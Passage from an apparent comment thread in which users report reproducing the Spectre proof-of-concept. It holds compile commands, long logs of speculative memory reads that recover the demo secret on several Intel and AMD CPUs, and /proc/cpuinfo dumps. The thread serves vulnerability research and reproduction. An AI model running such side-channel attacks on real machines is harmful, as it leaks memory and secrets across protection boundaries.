Reading at malicious_x = 0xffffffffffdfed7b... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfed7c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfed7d... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfed7e... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfed7f... Success: 0x2E=’.’ score=2

# Thanks all lot !!!

[root@s3rgp4rody-fedora PROGRAMMING]# gcc --std=c99 vuln_test.c -o spectre

vuln_test.c: В функции «main»:
vuln_test.c:136:51: предупреждение: несоответствие типов указатель/целое в условном выражении
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^

[root@s3rgp4rody-fedora PROGRAMMING]# ./spectre

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffac0... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffac1... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffac2... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffac3... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffac4... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffac5... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffac6... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffac7... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffac8... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffac9... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffaca... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffacb... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffacc... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffacd... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdfface... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffacf... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffad0... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffad1... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffad2... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffad3... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffad4... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffad5... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffad6... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffad7... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffad8... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffad9... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffada... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffadb... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffadc... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffadd... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffade... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffadf... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffae0... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffae1... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffae2... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffae3... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffae4... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffae5... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffae6... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffae7... Success: 0xFF=’�’ score=0

[root@s3rgp4rody-fedora PROGRAMMING]# cat /proc/cpuinfo

processor       : 0
vendor_id       : AuthenticAMD
cpu family      : 21
model           : 112
model name      : AMD A9-9400 RADEON R5, 5 COMPUTE CORES 2C+3G
stepping        : 0
microcode       : 0x6006704
cpu MHz         : 1400.000
cache size      : 1024 KB
physical id     : 0
siblings        : 2
core id         : 0
cpu cores       : 2
apicid          : 16
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 13
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 tce nodeid_msr tbm perfctr_core perfctr_nb bpext ptsc mwaitx cpb hw_pstate vmmcall fsgsbase bmi1 avx2 smep bmi2 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold avic v_vmsave_vmload vgif overflow_recov
bugs            : fxsave_leak sysret_ss_attrs null_seg
bogomips        : 4791.23
TLB size        : 1536 4K pages
clflush size    : 64
cache_alignment : 64
address sizes   : 48 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate cpb eff_freq_ro acc_power [13]

processor       : 1
vendor_id       : AuthenticAMD
cpu family      : 21
model           : 112
model name      : AMD A9-9400 RADEON R5, 5 COMPUTE CORES 2C+3G
stepping        : 0
microcode       : 0x6006704
cpu MHz         : 1400.000
cache size      : 1024 KB
physical id     : 0
siblings        : 2
core id         : 1
cpu cores       : 2
apicid          : 17
initial apicid  : 1
fpu             : yes
fpu_exception   : yes
cpuid level     : 13
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 tce nodeid_msr tbm perfctr_core perfctr_nb bpext ptsc mwaitx cpb hw_pstate vmmcall fsgsbase bmi1 avx2 smep bmi2 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold avic v_vmsave_vmload vgif overflow_recov
bugs            : fxsave_leak sysret_ss_attrs null_seg
bogomips        : 4791.23
TLB size        : 1536 4K pages
clflush size    : 64
cache_alignment : 64
address sizes   : 48 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate cpb eff_freq_ro acc_power [13]

[root@localhost SERGBACKUP]# gcc --std=c99 vuln_test.c -o spectre

vuln_test.c: In function ‘main’:
vuln_test.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^

[root@localhost SERGBACKUP]# ./spectre

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffac0... Unclear: 0x54=’T’ score=981 (second best: 0x01 score=764)
Reading at malicious_x = 0xffffffffffdffac1... Unclear: 0x68=’h’ score=998 (second best: 0x01 score=731)
Reading at malicious_x = 0xffffffffffdffac2... Unclear: 0x65=’e’ score=982 (second best: 0x01 score=863)
Reading at malicious_x = 0xffffffffffdffac3... Unclear: 0x20=’ ’ score=979 (second best: 0x01 score=564)
Reading at malicious_x = 0xffffffffffdffac4... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdffac5... Success: 0x61=’a’ score=89 (second best: 0x62 score=42)
Reading at malicious_x = 0xffffffffffdffac6... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdffac7... Success: 0x69=’i’ score=99 (second best: 0x6A score=47)
Reading at malicious_x = 0xffffffffffdffac8... Unclear: 0x63=’c’ score=956 (second best: 0x01 score=571)
Reading at malicious_x = 0xffffffffffdffac9... Success: 0x20=’ ’ score=11 (second best: 0x01 score=3)
Reading at malicious_x = 0xffffffffffdffaca... Success: 0x57=’W’ score=11 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdffacb... Success: 0x6F=’o’ score=43 (second best: 0x05 score=19)
Reading at malicious_x = 0xffffffffffdffacc... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffacd... Success: 0x64=’d’ score=41 (second best: 0x00 score=16)
Reading at malicious_x = 0xffffffffffdfface... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffacf... Success: 0x20=’ ’ score=11 (second best: 0x01 score=3)
Reading at malicious_x = 0xffffffffffdffad0... Success: 0x61=’a’ score=21 (second best: 0x01 score=8)
Reading at malicious_x = 0xffffffffffdffad1... Success: 0x72=’r’ score=9 (second best: 0x01 score=2)
Reading at malicious_x = 0xffffffffffdffad2... Success: 0x65=’e’ score=13 (second best: 0x00 score=6)
Reading at malicious_x = 0xffffffffffdffad3... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffad4... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdffad5... Success: 0x71=’q’ score=9 
Reading at malicious_x = 0xffffffffffdffad6... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdffad7... Success: 0x65=’e’ score=217 (second best: 0x01 score=106)
Reading at malicious_x = 0xffffffffffdffad8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffad9... Success: 0x6D=’m’ score=17 (second best: 0x05 score=6)
Reading at malicious_x = 0xffffffffffdffada... Success: 0x69=’i’ score=9 (second best: 0x05 score=2)
Reading at malicious_x = 0xffffffffffdffadb... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffadc... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdffadd... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffade... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdffadf... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffae0... Success: 0x73=’s’ score=11 (second best: 0x01 score=3)
Reading at malicious_x = 0xffffffffffdffae1... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffae2... Success: 0x66=’f’ score=9 (second best: 0x01 score=2)
Reading at malicious_x = 0xffffffffffdffae3... Unclear: 0x72=’r’ score=995 (second best: 0x01 score=845)
Reading at malicious_x = 0xffffffffffdffae4... Unclear: 0x61=’a’ score=986 (second best: 0x01 score=780)
Reading at malicious_x = 0xffffffffffdffae5... Success: 0x67=’g’ score=961 (second best: 0x01 score=478)
Reading at malicious_x = 0xffffffffffdffae6... Success: 0x65=’e’ score=17 (second best: 0x00 score=4)
Reading at malicious_x = 0xffffffffffdffae7... Success: 0x2E=’.’ score=15 (second best: 0x05 score=5)

[root@localhost SERGBACKUP]# cat /proc/cpuinfo

processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 78
model name	: Intel(R) Core(TM) i5-6200U CPU @ 2.30GHz
stepping	: 3
microcode	: 0x33
cpu MHz		: 2400.000
cache size	: 3072 KB
physical id	: 0
siblings	: 4
core id		: 0
cpu cores	: 2
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb intel_pt tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bugs		:
bogomips	: 4800.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: GenuineIntel
cpu family	: 6
model		: 78
model name	: Intel(R) Core(TM) i5-6200U CPU @ 2.30GHz
stepping	: 3
microcode	: 0x33
cpu MHz		: 2400.000
cache size	: 3072 KB
physical id	: 0
siblings	: 4
core id		: 1
cpu cores	: 2
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb intel_pt tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bugs		:
bogomips	: 4796.82
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 2
vendor_id	: GenuineIntel
cpu family	: 6
model		: 78
model name	: Intel(R) Core(TM) i5-6200U CPU @ 2.30GHz
stepping	: 3
microcode	: 0x33
cpu MHz		: 2400.000
cache size	: 3072 KB
physical id	: 0
siblings	: 4
core id		: 0
cpu cores	: 2
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb intel_pt tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bugs		:
bogomips	: 4796.82
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

processor	: 3
vendor_id	: GenuineIntel
cpu family	: 6
model		: 78
model name	: Intel(R) Core(TM) i5-6200U CPU @ 2.30GHz
stepping	: 3
microcode	: 0x33
cpu MHz		: 2400.000
cache size	: 3072 KB
physical id	: 0
siblings	: 4
core id		: 1
cpu cores	: 2
apicid		: 3
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 22
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb intel_pt tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bugs		:
bogomips	: 4796.83
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:


[root@localhost-live SERGBACKUP]# gcc --std=c99 vuln_test.c -o spectre

vuln_test.c: In function ‘main’:
vuln_test.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^

[root@localhost-live SERGBACKUP]# ./spectre

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffac0... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdffac1... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdffac2... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffac3... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffac4... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdffac5... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffac6... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdffac7... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffac8... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdffac9... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffaca... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdffacb... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdffacc... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffacd... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfface... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffacf... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffad0... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffad1... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffad2... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffad3... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffad4... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdffad5... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdffad6... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdffad7... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffad8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffad9... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdffada... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffadb... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffadc... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdffadd... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffade... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdffadf... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffae0... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffae1... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffae2... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdffae3... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffae4... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffae5... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdffae6... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffae7... Success: 0x2E=’.’ score=2 

[root@localhost-live SERGBACKUP]# cat /proc/cpuinfo

processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 21
model		: 1
model name	: AMD FX(tm)-6100 Six-Core Processor
stepping	: 2
microcode	: 0x6000613
cpu MHz		: 3306.503
cache size	: 2048 KB
physical id	: 0
siblings	: 6
core id		: 0
cpu cores	: 3
apicid		: 16
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 popcnt aes xsave avx lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 nodeid_msr topoext perfctr_core perfctr_nb cpb hw_pstate vmmcall arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 6613.00
TLB size	: 1536 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate cpb

processor	: 1
vendor_id	: AuthenticAMD
cpu family	: 21
model		: 1
model name	: AMD FX(tm)-6100 Six-Core Processor
stepping	: 2
microcode	: 0x6000613
cpu MHz		: 3306.503
cache size	: 2048 KB
physical id	: 0
siblings	: 6
core id		: 1
cpu cores	: 3
apicid		: 17
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 popcnt aes xsave avx lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 nodeid_msr topoext perfctr_core perfctr_nb cpb hw_pstate vmmcall arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 6612.24
TLB size	: 1536 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate cpb

processor	: 2
vendor_id	: AuthenticAMD
cpu family	: 21
model		: 1
model name	: AMD FX(tm)-6100 Six-Core Processor
stepping	: 2
microcode	: 0x6000613
cpu MHz		: 3306.503
cache size	: 2048 KB
physical id	: 0
siblings	: 6
core id		: 2
cpu cores	: 3
apicid		: 18
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 popcnt aes xsave avx lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 nodeid_msr topoext perfctr_core perfctr_nb cpb hw_pstate vmmcall arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 6612.19
TLB size	: 1536 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate cpb

processor	: 3
vendor_id	: AuthenticAMD
cpu family	: 21
model		: 1
model name	: AMD FX(tm)-6100 Six-Core Processor
stepping	: 2
microcode	: 0x6000613
cpu MHz		: 3306.503
cache size	: 2048 KB
physical id	: 0
siblings	: 6
core id		: 3
cpu cores	: 3
apicid		: 19
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 popcnt aes xsave avx lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 nodeid_msr topoext perfctr_core perfctr_nb cpb hw_pstate vmmcall arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 6612.19
TLB size	: 1536 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate cpb

processor	: 4
vendor_id	: AuthenticAMD
cpu family	: 21
model		: 1
model name	: AMD FX(tm)-6100 Six-Core Processor
stepping	: 2
microcode	: 0x6000613
cpu MHz		: 3306.503
cache size	: 2048 KB
physical id	: 0
siblings	: 6
core id		: 4
cpu cores	: 3
apicid		: 20
initial apicid	: 4
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 popcnt aes xsave avx lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 nodeid_msr topoext perfctr_core perfctr_nb cpb hw_pstate vmmcall arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 6612.20
TLB size	: 1536 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate cpb

processor	: 5
vendor_id	: AuthenticAMD
cpu family	: 21
model		: 1
model name	: AMD FX(tm)-6100 Six-Core Processor
stepping	: 2
microcode	: 0x6000613
cpu MHz		: 3306.503
cache size	: 2048 KB
physical id	: 0
siblings	: 6
core id		: 5
cpu cores	: 3
apicid		: 21
initial apicid	: 5
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 popcnt aes xsave avx lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 nodeid_msr topoext perfctr_core perfctr_nb cpb hw_pstate vmmcall arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 6612.19
TLB size	: 1536 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate cpb


EgZvor commented Jan 7, 2018

Reproduced

OS: Arch Linux
Kernel: x86_64 Linux 4.14.11-1-ARCH
Shell: zsh 5.4.2
CPU: Intel Core i5-2450M @ 4x 3.1GHz [57.0°C]
GPU: GeForce GT 630M
RAM: 1818MiB / 3857MiB

https://pastebin.com/3Y4wd3xX

[root@localhost-live SERGBACKUP]# gcc --std=c99 vuln_test.c -o spectre
vuln_test.c: In function ‘main’:
vuln_test.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^

[root@localhost-live SERGBACKUP]# ./spectre

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffac0... Success: 0x54=’T’ score=21 (second best: 0x05 score=8)
Reading at malicious_x = 0xffffffffffdffac1... Success: 0x68=’h’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffac2... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffac3... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffac4... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdffac5... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffac6... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdffac7... Success: 0x69=’i’ score=9 (second best: 0x00 score=2)
Reading at malicious_x = 0xffffffffffdffac8... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdffac9... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffaca... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdffacb... Success: 0x6F=’o’ score=2 
